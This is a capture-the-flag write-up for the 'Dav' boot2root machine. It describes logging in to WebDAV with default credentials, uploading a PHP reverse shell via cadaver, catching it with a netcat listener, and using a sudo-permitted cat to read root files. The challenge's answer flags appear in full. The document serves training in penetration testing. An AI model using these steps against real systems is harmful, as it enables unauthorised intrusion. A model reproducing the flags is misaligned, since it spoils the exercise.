Dav

Dav

boot2root machine for FIT and bsides guatemala CTF

10.10.175.126

writeup

----------user-flag----------

--ran nmap and found Apache running on port 80
--ran gobuster and found a directory called /webdav
--couldnt find anymore information, sol googled default WebDAV credentials and found wampp:xampp
--logged in with those creds and found a passwd.dav file, but it only contained the creds we already knew
--so I ran gobuster against the /webdav directory and found nothing
--I then ran cadaver http://<IP-address>/webdav with the default credentials
--with cadaver I got a shell on the target and then I found a php reverse shell
--change IP and port to whatever your machine is and upload it with cadaver using put php-reverse-shell.php
--start a listner with nc -lvnp 4444 and then navigate to /webdav/php-reverse-shell.php to get a user shell
--go to home directory and run ls and you'll see merlin and wampp
--run cd merlin and then run cat user.txt to get flag:

449b40fe93f78a938523b7e4dcd66d2a

----------root-flags----------

--run sudo -l and get:

```
User www-data may run the following commands on ubuntu:
    (ALL) NOPASSWD: /bin/cat
```

--being able to run cat as sudo is way too easy, but it is what it is
--run cat /root/root.txt and get flag

101101ddc16b0cdf65ba0b8a7af7afa5

scans

----------nmap-scan----------

PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works

----------gobuster-scan----------

/.hta (Status: 403)
/.htpasswd (Status: 403)
/.htaccess (Status: 403)
/index.html (Status: 200)
/server-status (Status: 403)
/webdav (Status: 401)

[Task 1] Dav

Read user.txt and root.txt

#1
user.txt

449b40fe93f78a938523b7e4dcd66d2a

#2
root.txt

101101ddc16b0cdf65ba0b8a7af7afa5